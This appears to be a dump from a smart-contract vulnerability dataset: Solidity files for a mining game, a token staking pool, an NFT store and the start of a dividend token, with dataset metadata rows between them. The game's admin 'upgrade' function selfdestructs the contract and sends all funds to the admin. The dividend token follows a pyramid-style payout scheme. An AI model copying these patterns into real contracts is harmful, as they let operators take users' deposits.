function getHashratePerDay(address _addr) public view returns (uint256 personalProduction)
{
Player memory p = players[_addr];
personalProduction = p.hashrate;
uint256 boosterIdx = hasBooster(_addr);
if (boosterIdx != 999) {
BoostData memory b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
function getCurrentReward(address _addr) public view returns(uint256)
{
return payments[_addr];
}
function withdrawReward(address _addr) public
{
uint256 currentReward = payments[_addr];
if (address(this).balance >= currentReward && currentReward > 0) {
_addr.transfer(currentReward);
payments[_addr] = 0;
boosterReward[_addr] = 0;
emit WithdrawReward(_addr, currentReward);
}
}
//--------------------------------------------------------------------------
// BOOSTER
//--------------------------------------------------------------------------
function buyBooster(uint256 idx) public isNotOver isCurrentRound(msg.sender) payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
uint256 devFeePrize = devFee(getBoosterPrice(idx));
address gameSponsor = Engineer.gameSponsor();
gameSponsor.transfer(devFeePrize);
uint256 refundPrize = 0;
if(beneficiary != 0){
refundPrize = SafeMath.div(SafeMath.mul(getBoosterPrice(idx), 55), 100);
asyncSend(beneficiary, refundPrize);
boosterReward[beneficiary] = SafeMath.add(boosterReward[beneficiary], refundPrize);
}
prizePool = SafeMath.add(prizePool, SafeMath.sub(msg.value, SafeMath.add(devFeePrize, refundPrize)));
updateCrystal(msg.sender);
updateCrystal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
// transfer ownership
b.owner = msg.sender;
emit BuyBooster(msg.sender, roundNumber, idx, msg.value, beneficiary, refundPrize);
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
//--------------------------------------------------------------------------
// Other
//--------------------------------------------------------------------------
function devFee(uint256 amount) public pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return address(this).balance;
}
//@dev use this function in case of bug
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
//--------------------------------------------------------------------------
// Private
//--------------------------------------------------------------------------
function updateHashrate(address addr, uint256 _hashrate) private
{
Player storage p = players[addr];
p.hashrate = SafeMath.add(p.hashrate, _hashrate);
if(p.hashrate > RANK_LIST_LIMIT) updateRankList(addr);
emit ChangeHasrate(addr, p.hashrate, roundNumber);
}
function updateCrystal(address _addr) private
{
require(now > players[_addr].lastUpdateTime);
Player storage p = players[_addr];
p.crystals = calCurrentCrystals(_addr);
p.lastUpdateTime = now;
}
function calCurrentCrystals(address _addr) public view returns(uint256 _currentCrystals)
{
Player memory p = players[_addr];
if(p.roundNumber != roundNumber) p = players[0x0];
uint256 hashratePerDay = getHashratePerDay(_addr);
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
if (hashratePerDay > 0) _currentCrystals = SafeMath.add(p.crystals, SafeMath.mul(hashratePerDay, secondsPassed));
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
Player storage insert = players[addr];
Player storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal view returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
Player storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 216,623 | 390 |
035fd68592ca3962797b96d99ebd8b52b727d847836daf38982ffe3aa2be9ce8
| 16,279 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x7b8d05f107fae4a35c5ad517fce3c9a8953b4366.sol
| 4,098 | 16,114 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MunchSAStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Pool {
uint256 remainingBalance; // Funds available for new stakers
uint256 attributed; // Funds taken from balance for stakers
uint256 paidOut; // Rewards claimed, therefore paidOut <= attributed
uint256 minStake;
uint256 maxStake;
uint stakingDuration;
uint minPercentToCharity; // minimum % of rewards being given to charity - 50% is stored as 50
uint apy; // integer percentage - 50% is stored as 50
}
struct UserInfo {
uint256 amountDeposited;
uint256 remainingRewards; // Amount not claimed yet
uint256 rewardsDonated; // Out of claimed rewards, amount sent to charity
uint stakingStartTime; // Timestamp when user started staking
uint lastRewardTime; // Last time rewards were claimed
uint256 rewardDebt; // Rewards to ignore in redis computation based on when user joined pool
uint percentToCharity; // as an int: 50% is stored as 50
}
IERC20 _munchToken;
address _charityAddress;
uint256 _accRedisTokensPerShare;
uint256 _lastRedisTotal;
uint256 _stakedAndFunds; // Sum of all MUNCH tokens staked or funded for pools
uint256 _staked; // Sum of all MUNCH tokens staked - used to get redis share of a user
Pool[] public pools;
mapping(uint => mapping(address => UserInfo)) public userInfo;
event Deposit(uint poolIdx, address indexed user, uint256 amount);
event Withdraw(uint poolIdx, address indexed user, uint256 amount);
constructor(address munchToken) {
_munchToken = IERC20(munchToken);
_charityAddress = address(_munchToken);
}
function addPool(uint stakingDurationInDays, uint256 minStake, uint maxStake, uint apy) public onlyOwner {
pools.push(Pool({
remainingBalance: 0,
attributed: 0,
paidOut: 0,
minStake: minStake,
maxStake: maxStake,
stakingDuration: stakingDurationInDays * 1 days,
minPercentToCharity: 50,
apy: apy
}));
}
function fund(uint poolIdx, uint256 amount) public onlyOwner {
Pool storage pool = pools[poolIdx];
_munchToken.safeTransferFrom(address(msg.sender), address(this), amount);
pool.remainingBalance = pool.remainingBalance.add(amount);
_stakedAndFunds = _stakedAndFunds.add(amount);
}
function unlockPool(uint poolIdx) public onlyOwner {
pools[poolIdx].stakingDuration = 0;
}
function setMinPercentToCharity(uint poolIdx, uint minPercentToCharity) public onlyOwner {
Pool storage pool = pools[poolIdx];
pool.minPercentToCharity = minPercentToCharity;
}
function setCharityAddress(address addy) public onlyOwner {
_charityAddress = addy;
}
function totalRewards(uint poolIdx, address wallet) external view returns (uint256) {
UserInfo storage user = userInfo[poolIdx][wallet];
Pool storage pool = pools[poolIdx];
return user.amountDeposited.mul(pool.apy).mul(pool.stakingDuration).div(365 days).div(100);
}
function pending(uint poolIdx, address wallet) public view returns (uint256) {
UserInfo storage user = userInfo[poolIdx][wallet];
Pool storage pool = pools[poolIdx];
uint timeSinceLastReward = block.timestamp - user.lastRewardTime;
uint timeFromLastRewardToEnd = user.stakingStartTime + pool.stakingDuration - user.lastRewardTime;
uint256 pendingReward = user.remainingRewards.mul(timeSinceLastReward).div(timeFromLastRewardToEnd);
return pendingReward > user.remainingRewards ? user.remainingRewards : pendingReward;
}
function redisCount(uint poolIdx, address wallet) public view returns (uint256) {
if (_accRedisTokensPerShare == 0 || _staked == 0) {
return 0;
}
UserInfo storage user = userInfo[poolIdx][wallet];
return user.amountDeposited.mul(_accRedisTokensPerShare).div(1e36).sub(user.rewardDebt);
}
function updateRedisCount() internal {
uint256 munchBal = _munchToken.balanceOf(address(this));
if (munchBal == 0 || _staked == 0) {
return;
}
uint256 totalRedis = munchBal.sub(_stakedAndFunds);
uint256 toAccountFor = totalRedis.sub(_lastRedisTotal);
_lastRedisTotal = totalRedis;
_accRedisTokensPerShare = _accRedisTokensPerShare.add(toAccountFor.mul(1e36).div(_staked));
}
function deposit(uint poolIdx, uint256 amount, uint percentToCharity) public {
UserInfo storage user = userInfo[poolIdx][msg.sender];
Pool storage pool = pools[poolIdx];
require(percentToCharity >= pool.minPercentToCharity && percentToCharity <= 100, "Invalid percentage to give to charity");
uint256 totalDeposit = user.amountDeposited.add(amount);
require(pool.minStake <= totalDeposit && pool.maxStake >= totalDeposit, "Unauthorized amount");
if (user.amountDeposited > 0) {
transferMunchRewards(poolIdx); // this calls updateRedisCount()
} else {
updateRedisCount();
}
if (amount > 0) {
uint256 newRewards = amount.mul(pool.apy).mul(pool.stakingDuration).div(365 days).div(100);
require(pool.remainingBalance >= newRewards, "Pool is full");
userInfo[poolIdx][msg.sender] = UserInfo({
amountDeposited: totalDeposit,
remainingRewards: user.remainingRewards.add(newRewards),
rewardsDonated: user.rewardsDonated,
lastRewardTime: block.timestamp,
stakingStartTime: block.timestamp,
percentToCharity: percentToCharity,
rewardDebt: totalDeposit.mul(_accRedisTokensPerShare).div(1e36)
});
pool.remainingBalance = pool.remainingBalance.sub(newRewards);
pool.attributed = pool.attributed.add(newRewards);
_stakedAndFunds = _stakedAndFunds.add(amount);
_staked = _staked.add(amount);
_munchToken.safeTransferFrom(address(msg.sender), address(this), amount);
emit Deposit(poolIdx, msg.sender, amount);
} else {
user.percentToCharity = percentToCharity;
}
}
function withdraw(uint poolIdx) public {
UserInfo storage user = userInfo[poolIdx][msg.sender];
Pool storage pool = pools[poolIdx];
require(block.timestamp - user.stakingStartTime > pool.stakingDuration, "Lock period not over");
transferMunchRewards(poolIdx); // this calls updateRedisCount()
_stakedAndFunds = _stakedAndFunds.sub(user.amountDeposited);
_staked = _staked.sub(user.amountDeposited);
user.remainingRewards = 0;
uint256 amountToWithdraw = user.amountDeposited;
user.amountDeposited = 0;
_munchToken.safeTransfer(address(msg.sender), amountToWithdraw);
emit Withdraw(poolIdx, msg.sender, amountToWithdraw);
}
function transferMunchRewards(uint poolIdx) public {
UserInfo storage user = userInfo[poolIdx][msg.sender];
Pool storage pool = pools[poolIdx];
uint256 pendingRewards = pending(poolIdx, msg.sender);
updateRedisCount();
if(pendingRewards > 0) {
uint256 redis = redisCount(poolIdx, msg.sender);
uint256 pendingAmount = pendingRewards.add(redis);
uint256 toCharity = pendingAmount.mul(user.percentToCharity).div(100);
uint256 toHolder = pendingAmount.sub(toCharity);
if (toCharity > 0) {
_munchToken.transfer(_charityAddress, toCharity);
}
if (toHolder > 0) {
_munchToken.transfer(msg.sender, toHolder);
}
_stakedAndFunds = _stakedAndFunds.sub(pendingRewards);
_lastRedisTotal = _lastRedisTotal.sub(redis);
pool.paidOut = pool.paidOut.add(pendingRewards);
user.remainingRewards = user.remainingRewards.sub(pendingRewards);
user.rewardsDonated = user.rewardsDonated.add(toCharity); // includes redis
user.lastRewardTime = block.timestamp;
}
}
function fundWithdraw(uint poolIdx, uint256 amount) onlyOwner public {
Pool storage pool = pools[poolIdx];
require(pool.remainingBalance >= amount, "Cannot withdraw more than remaining pool balance");
updateRedisCount();
_munchToken.transfer(msg.sender, amount);
_stakedAndFunds = _stakedAndFunds.sub(amount);
}
function ethWithdraw() onlyOwner public {
uint256 balance = address(this).balance;
require(balance > 0, "Balance is zero.");
payable(msg.sender).transfer(balance);
}
}
| 274,474 | 391 |
db8640d290b20939a1c1aea2b787c70c4b168d183dbe60483419428c5c6d895e
| 15,935 |
.sol
|
Solidity
| false |
455922181
|
InfiniBrains/smartcontracts
|
e2e57e413d351764d3238c08a60b8c8f6a39b932
|
contracts/Store.sol
| 3,623 | 12,810 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/utils/ERC1155ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
// contrato apenas para processar recebimento. a venda efetivamente acontece no mundo centralizado
// contrato deve receber em busd
// vender lootboxes
// user pode listar itens
// venda de lootboxes pode ser em game coin ou busd. porem lastreado em busd
// vender em BUSD e cobrar cut de marketplace
contract Store is
Initializable,
PausableUpgradeable,
OwnableUpgradeable,
UUPSUpgradeable,
ReentrancyGuardUpgradeable,
ERC1155ReceiverUpgradeable
{
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
struct Item {
// token contract
address tokenContract;
// token id
uint256 tokenId;
// item title
bytes32 title;
// price in USD. Value is multiplied by 10**18.
uint256 price;
}
struct SellVolume {
uint256 date;
uint256 amount;
}
// @dev the token the store accepts
IERC20 public acceptedToken;
// @dev the main dex pair
IUniswapV2Pair internal _tknBnbPair;
// @dev the pair to
IUniswapV2Pair internal _bnbBusdPair;
// @dev list of items available to sell
Item[] public items;
function initialize(address _acceptedToken,
address tknBnb,
address bnbBusd) public initializer {
require(_acceptedToken.isContract(), "ERC20 token address must be a contract");
require(tknBnb.isContract(), "TknBnbPair address must be a contract");
require(bnbBusd.isContract(), "BnbBusdPair address must be a contract");
acceptedToken = IERC20(_acceptedToken);
_tknBnbPair = IUniswapV2Pair(tknBnb);
_bnbBusdPair = IUniswapV2Pair(bnbBusd);
__Pausable_init();
__Ownable_init();
__UUPSUpgradeable_init();
}
function setAcceptedToken(address addr) external virtual onlyOwner {
require(addr.isContract(), "ERC20 token address must be a contract");
acceptedToken = IERC20(addr);
emit AcceptedTokenChanged(addr);
}
function setTknBnbPair(address addr) external virtual onlyOwner {
require(addr.isContract(), "TknBnbPair address must be a contract");
_tknBnbPair = IUniswapV2Pair(addr);
emit TknBnbPairChanged(addr);
}
function setBnbBusdPair(address addr) external virtual onlyOwner {
require(addr.isContract(), "BnbBusdPair address must be a contract");
_bnbBusdPair = IUniswapV2Pair(addr);
emit BnbBusdPairChanged(addr);
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function pause() external virtual onlyOwner {
_pause();
}
function unpause() external virtual onlyOwner {
_unpause();
}
function addItemToBeSold(address tokenContract,
uint256 tokenId,
bytes32 title,
uint256 price) external virtual onlyOwner {
require(tokenContract.isContract(), "NFT address must be a contract");
require(price > 0, "Item price can't be 0");
items.push(Item(tokenContract, tokenId, title, price));
emit ItemAdded(tokenContract, items.length - 1, tokenId, title, price);
}
function removeItemFromStore(uint256 toDeleteIndex) external virtual onlyOwner {
require(toDeleteIndex < items.length, "Id should be between 0 and items length");
Item memory toDelete = items[toDeleteIndex];
uint256 lastIndex = items.length - 1;
if (lastIndex != toDeleteIndex) {
// Move the last value to the index where the value to delete is
items[toDeleteIndex] = items[lastIndex];
}
// Delete the slot where the moved value was stored
items.pop();
emit ItemDeleted(toDeleteIndex, toDelete.tokenContract, toDelete.tokenId, toDelete.price);
}
function listItems() external view returns (Item[] memory) {
return items;
}
function updateItemPrice(uint256 id, uint256 newPrice) external virtual onlyOwner {
require(id < items.length, "Item doesn't exists");
require(newPrice != 0, "Item price can't be 0");
Item storage item = items[id];
item.price = newPrice;
emit ItemPriceUpdated(id, newPrice);
}
//
// function buy1155Item(// uint256 id,
// bytes32 title,
// uint256 amounts
//) external virtual whenNotPaused nonReentrant {
// require(amounts > 0, "Amounts must be greater than zero");
// require(id < items.length, "Item doesn't exists");
// Item memory item = items[id];
// require(item.title == title, "Title argument must match requested item title");
//
// address sender = _msgSender();
//
// uint256 tknBusdPrice = getTKNtoBUSDprice();
// uint256 itemPriceInToken = (item.price.mul(amounts).mul(10**18).div(tknBusdPrice));
//
// uint256 allowance = acceptedToken.allowance(sender, address(this));
// require(allowance >= itemPriceInToken, "Check the token allowance");
//
// // Transfer item price amount to owner
// require(// acceptedToken.transferFrom(sender, owner(), itemPriceInToken),
// "Fail transferring the item price amount to owner"
//);
//
// IERC1155 nftRegistry = IERC1155(item.tokenContract);
//
// nftRegistry.mint(sender, item.tokenId, amounts, "");
//
// }
function remove(SellVolume[] storage array, uint256 index) internal returns (bool success) {
if (index >= array.length) return false;
array[index] = array[array.length - 1];
array.pop();
return true;
}
function withdraw(address payable to, uint256 amount) external virtual onlyOwner {
require(to != address(0), "transfer to the zero address");
require(amount <= payable(address(this)).balance, "You are trying to withdraw more funds than available");
to.transfer(amount);
}
function withdrawERC20(address tokenAddress,
address to,
uint256 amount) external virtual onlyOwner {
require(tokenAddress.isContract(), "ERC20 token address must be a contract");
IERC20 tokenContract = IERC20(tokenAddress);
require(tokenContract.balanceOf(address(this)) >= amount,
"You are trying to withdraw more funds than available");
require(tokenContract.transfer(to, amount), "Fail on transfer");
}
function withdrawERC721(address tokenAddress,
address to,
uint256[] memory tokenIds) external virtual onlyOwner {
require(tokenIds.length <= 550, "You can withdraw at most 550 at a time");
require(tokenAddress.isContract(), "ERC721 token address must be a contract");
IERC721 tokenContract = IERC721(tokenAddress);
for (uint256 i = 0; i < tokenIds.length; i++) {
require(tokenContract.ownerOf(tokenIds[i]) == address(this),
"Store doesn't own the NFT you are trying to withdraw");
tokenContract.safeTransferFrom(address(this), to, tokenIds[i]);
}
}
//
// function withdrawERC721(// address tokenAddress,
// address to,
// uint256 amount
//) external virtual onlyOwner {
// require(amount <= 500, "You can withdraw at most 500 avatars at a time");
// require(tokenAddress.isContract(), "ERC721 token address must be a contract");
//
// IERC721 tokenContract = IERC721(tokenAddress);
// uint256[] memory tokenIds = tokenContract.listMyNftIds();
// require(tokenIds.length >= amount, "Store doesn't own the amount of NFTs");
// for (uint256 i = 0; i < amount; i++) {
// require(// tokenContract.ownerOf(tokenIds[i]) == address(this),
// "Store doesn't own the NFT you are trying to withdraw"
//);
//
// tokenContract.safeTransferFrom(address(this), to, tokenIds[i]);
// }
// }
function withdrawERC1155(address tokenAddress,
address to,
uint256 id,
uint256 amount) external virtual onlyOwner {
require(tokenAddress.isContract(), "ERC1155 token address must be a contract");
IERC1155 tokenContract = IERC1155(tokenAddress);
require(tokenContract.balanceOf(address(this), id) >= amount,
"Store doesn't own the amount of tokens to withdraw");
tokenContract.safeTransferFrom(address(this), to, id, amount, "");
}
function getTKNtoBUSDprice() public view virtual returns (uint256 price) {
uint256 reserves0LP0 = 0;
uint256 reserves1LP0 = 0;
uint256 reserves0LP1 = 0;
uint256 reserves1LP1 = 0;
if (_tknBnbPair.token1() == _bnbBusdPair.token0()) {
(reserves0LP0, reserves1LP0,) = _tknBnbPair.getReserves();
(reserves0LP1, reserves1LP1,) = _bnbBusdPair.getReserves();
return (reserves1LP1.mul(reserves1LP0).mul(10**18)).div(reserves0LP1.mul(reserves0LP0));
} else if (_tknBnbPair.token1() == _bnbBusdPair.token1()) {
(reserves0LP0, reserves1LP0,) = _tknBnbPair.getReserves();
(reserves1LP1, reserves0LP1,) = _bnbBusdPair.getReserves();
return (reserves1LP1.mul(reserves1LP0).mul(10**18)).div(reserves0LP1.mul(reserves0LP0));
} else if (_tknBnbPair.token0() == _bnbBusdPair.token0()) {
(reserves1LP0, reserves0LP0,) = _tknBnbPair.getReserves();
(reserves0LP1, reserves1LP1,) = _bnbBusdPair.getReserves();
return (reserves1LP1.mul(reserves1LP0).mul(10**18)).div(reserves0LP1.mul(reserves0LP0));
} else {
(reserves1LP0, reserves0LP0,) = _tknBnbPair.getReserves();
(reserves1LP1, reserves0LP1,) = _bnbBusdPair.getReserves();
return (reserves1LP1.mul(reserves1LP0).mul(10**18)).div(reserves0LP1.mul(reserves0LP0));
}
}
function getItemPriceInToken(uint256 id, uint256 amounts) external view virtual returns (uint256 price) {
require(amounts > 0, "Amounts must be greater than zero");
require(id < items.length, "Item doesn't exists");
Item memory item = items[id];
uint256 tknBusdPrice = getTKNtoBUSDprice();
return (item.price.mul(amounts).mul(10**18).div(tknBusdPrice));
}
function version() external pure virtual returns (string memory) {
return "1.0.0";
}
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
// MUST IMPLEMENT TO BE ABLE TO RECEIVE TOKENS
receive() external payable {}
function onERC1155Received(address,
address,
uint256,
uint256,
bytes memory) public virtual returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address,
address,
uint256[] memory,
uint256[] memory,
bytes memory) public virtual returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function onERC721Received(address,
address,
uint256,
bytes memory) public virtual returns (bytes4) {
return this.onERC721Received.selector;
}
// EVENTS
event ItemAdded(address indexed tokenContract, uint256 id, uint256 tokenId, bytes32 title, uint256 price);
event ItemDeleted(uint256 toDeleteIndex, address indexed tokenContract, uint256 itemId, uint256 price);
event ItemPriceUpdated(uint256 id, uint256 price);
event ItemBought(address indexed tokenContract,
uint256 id,
uint256 tokenId,
address indexed seller,
address indexed buyer,
uint256 price,
uint256 amounts);
event AcceptedTokenChanged(address indexed addr);
event TknBnbPairChanged(address indexed addr);
event BnbBusdPairChanged(address indexed addr);
uint256[50] private __gap;
}
| 8,744 | 392 |
3ae949e8208c89e3a42d841de64873edca6851104a5ff3d80a410e6614855188
| 20,166 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xaa69d5dab24f6d8f942ec0912258ba2c5b17a0cf.sol
| 4,129 | 15,603 |
pragma solidity ^0.4.20;
contract GoldCoin {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "GoldStrike";
string public symbol = "GOLD";
uint8 constant public decimals = 18;
/// @dev 15% dividends for token purchase
uint8 constant internal entryFee_ = 20;
/// @dev 10% dividends for token transfer
uint8 constant internal transferFee_ = 10;
/// @dev 25% dividends for token selling
uint8 constant internal exitFee_ = 25;
/// @dev 35% of entryFee_ (i.e. 7% dividends) is given to referrer
uint8 constant internal refferalFee_ = 35;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
